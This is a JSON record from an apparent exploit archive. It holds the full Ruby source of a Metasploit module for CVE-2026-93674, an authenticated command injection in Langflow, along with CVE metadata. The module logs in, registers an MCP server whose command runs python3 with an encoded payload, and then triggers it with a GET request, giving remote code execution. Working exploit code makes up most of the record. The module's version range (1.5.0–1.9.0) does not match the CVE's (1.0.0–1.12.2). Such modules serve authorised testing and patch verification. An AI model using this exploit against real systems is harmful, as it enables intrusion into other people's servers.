{"exploit":{"id":"MSF-multi--http--langflow_auth_command_injection_cve_2026_93674","name":"Langflow AI Auth Blind Command Injection","description":"Langflow versions 1.5.0 through 1.9.0 are susceptible to authenticated blind command injection due to a flaw in how the Langflow STDIO service launches processes through system shells. OS commands are executed under the context of the running Langflow process.","cves":["CVE-2026-93674"],"author":"Richard Howe","published":"2026-09-22","platform":"Python","type":"remote","language":"Ruby","source":"metasploit","sourceUrl":"https://github.com/rapid7/metasploit-framework/blob/90dfbaa741421d0179f9f371109c215d49400444/modules/exploits/multi/http/langflow_auth_command_injection_cve_2026_93674.rb","path":"modules/exploits/multi/http/langflow_auth_command_injection_cve_2026_93674.rb","revision":"90dfbaa741421d0179f9f371109c215d49400444","filename":"langflow_auth_command_injection_cve_2026_93674.rb","vulnerabilities":[{"id":"CVE-2026-93674","state":"PUBLISHED","title":"Langflow OSS is affected by multiple vulnerabilities","titleSource":"CVE Program","description":"IBM Langflow OSS 1.0.0 through 1.12.2 could allow a remote attacker to execute arbitrary code due to improper neutralization of special elements used in an OS command.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2026-93674","cvss":{"version":"3.1","baseScore":9.8,"severity":"critical","vectorString":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","source":"ibm","sourceUrl":"https://www.cve.org/CVERecord?id=CVE-2026-93674"},"updatedAt":"2026-10-08T13:00:07.169Z","retrievedAt":"2026-11-25T16:13:33.905Z","stale":false,"error":null}],"imageUrl":"https://exploitbin.com/social/exploits/MSF-multi--http--langflow_auth_command_injection_cve_2026_93674.png?v=2","url":"https://exploitbin.com/exploits/MSF-multi--http--langflow_auth_command_injection_cve_2026_93674","downloadUrl":"https://exploitbin.com/api/v1/exploits/MSF-multi--http--langflow_auth_command_injection_cve_2026_93674/download","codeUrl":"https://exploitbin.com/api/v1/exploits/MSF-multi--http--langflow_auth_command_injection_cve_2026_93674/code","licenseUrl":"https://exploitbin.com/sources#metasploit"},"code":"##\n# This module requires Metasploit: https://metasploit.com/download\n# Current source: https://github.com/rapid7/metasploit-framework\n##\n\nclass MetasploitModule < Msf::Exploit::Remote\n  Rank = ExcellentRanking\n\n  include Msf::Exploit::Remote::HttpClient\n  prepend Msf::Exploit::Remote::AutoCheck\n\n  def initialize(info = {})\n    super(\n      update_info(\n        info,\n        'Name' => 'Langflow AI Auth Blind Command Injection',\n        'Description' => %q{\n          Langflow versions 1.5.0 through 1.9.0 are susceptible to\n          authenticated blind command injection due to a flaw in how\n          the Langflow STDIO service launches processes through system shells.\n\n          OS commands are executed under the context of the running Langflow process.\n        },\n        'Author' => [\n          'Richard Howe <rhowe425>'\n        ],\n        'License' => MSF_LICENSE,\n        'References' => [\n          ['CVE', '2026-93674']\n        ],\n        'Targets' => [\n          [\n            'Python payload',\n            {\n              'Platform' => 'python',\n              'Arch' => ARCH_PYTHON\n            }\n          ]\n        ],\n        'DefaultTarget' => 0,\n        'DefaultOptions' => {\n          'RPORT' => 7860\n        },\n        'Payload' => {\n          'BadChars' => '\"'\n        },\n        'DisclosureDate' => '2026-09-22',\n        'Notes' => {\n          'Stability' => [CRASH_SAFE],\n          'SideEffects' => [IOC_IN_LOGS],\n          'Reliability' => [REPEATABLE_SESSION]\n        }\n      )\n    )\n\n    register_options(\n      [\n        OptString.new(\n          'TARGETURI',\n          [true, 'Base path of the Langflow application', '/']\n        ),\n        OptString.new(\n          'USERNAME',\n          [true, 'Langflow Username', '']\n        ),\n        OptString.new(\n          'PASSWORD',\n          [true, 'Langflow Password', '']\n        )\n      ]\n    )\n  end\n\n  def get_token(username, password)\n    data = {\n      'username' => username,\n      'password' => password\n    }\n\n    res = send_request_cgi(\n      'method' => 'POST',\n      'uri' => normalize_uri(target_uri.path, 'api/v1/login'),\n      'vars_post' => data\n    )\n\n    return unless res&.code&.between?(200, 299)\n\n    json = res.get_json_document\n    return unless json.is_a?(Hash)\n\n    json['access_token']\n  end\n\n  def save_command\n    vars = Rex::RandomIdentifier::Generator.new(language: :python)\n    server_name = vars[:server_name]\n\n    data = {\n      'command' => 'python3',\n      'args' => ['-c', payload.encode]\n    }\n\n    res = send_request_cgi(\n      'method' => 'POST',\n      'uri' => normalize_uri(\n        target_uri.path,\n        \"api/v2/mcp/servers/#{server_name}\"\n      ),\n      'headers' => {\n        'Authorization' => \"Bearer #{@token}\",\n        'Content-Type' => 'application/json'\n      },\n      'data' => data.to_json\n    )\n\n    unless res&.code&.between?(200, 299)\n      fail_with(Failure::UnexpectedReply, 'Unable to trigger the vulnerability.')\n    end\n  end\n\n  def check\n    res = send_request_cgi(\n      {\n        'method' => 'GET',\n        'uri' => normalize_uri(target_uri.path, 'api/v1/version')\n      }\n    )\n\n    return Exploit::CheckCode::Unknown('Unexpected server reply.') unless res&.code == 200\n\n    doc = res.get_json_document\n    version_str = doc.is_a?(Hash) ? doc['version'] : nil\n    return Exploit::CheckCode::Unknown('Failed to parse version.') unless version_str\n\n    package = doc.is_a?(Hash) ? doc['package'] : nil\n    return Exploit::CheckCode::Unknown('Failed to identify application.') unless package\n\n    return Exploit::CheckCode::Safe('Application is not Langflow.') unless package.to_s.downcase == 'langflow'\n\n    begin\n      version = Rex::Version.new(version_str.to_s)\n    rescue ArgumentError\n      return Exploit::CheckCode::Unknown('Failed to parse version.')\n    end\n\n    return Exploit::CheckCode::Unknown('Failed to parse version.') unless version\n\n    if (version >= Rex::Version.new('1.5.0')) &&\n       (version <= Rex::Version.new('1.9.0'))\n      return Exploit::CheckCode::Appears(\n        \"Version #{version} detected, which appears vulnerable.\"\n      )\n    end\n\n    Exploit::CheckCode::Safe(\n      \"Version #{version} detected, which is not vulnerable.\"\n    )\n  end\n\n  def exploit\n    username = datastore['USERNAME']\n    password = datastore['PASSWORD']\n    vars_get = {\n      'action_count' => true\n    }\n\n    @token = get_token(username, password)\n\n    if @token.to_s.empty?\n      fail_with(Failure::UnexpectedReply, 'Could not retrieve authentication token from api/v1/login')\n    end\n\n    save_command\n\n    # GET request triggers payload, putting Langflow into a blocked state\n    # while payload runs. Purposefully not checking HTTP status, as it\n    # will cause the exploit module to fail.\n    send_request_cgi(\n      'method' => 'GET',\n      'uri' => normalize_uri(\n        target_uri.path,\n        'api/v2/mcp/servers'\n      ),\n      'headers' => {\n        'Authorization' => \"Bearer #{@token}\"\n      },\n      'vars_get' => vars_get\n    )\n  end\nend\n","sha256":"9d91783c3f5ea08416acc8ab58b3e1df306c84d8ae330462277aa5e4dc0f149e","bytes":5006,"fetchedAt":"2026-11-25T16:31:00.252Z","encoding":"utf-8 (display only; download retains original bytes)"}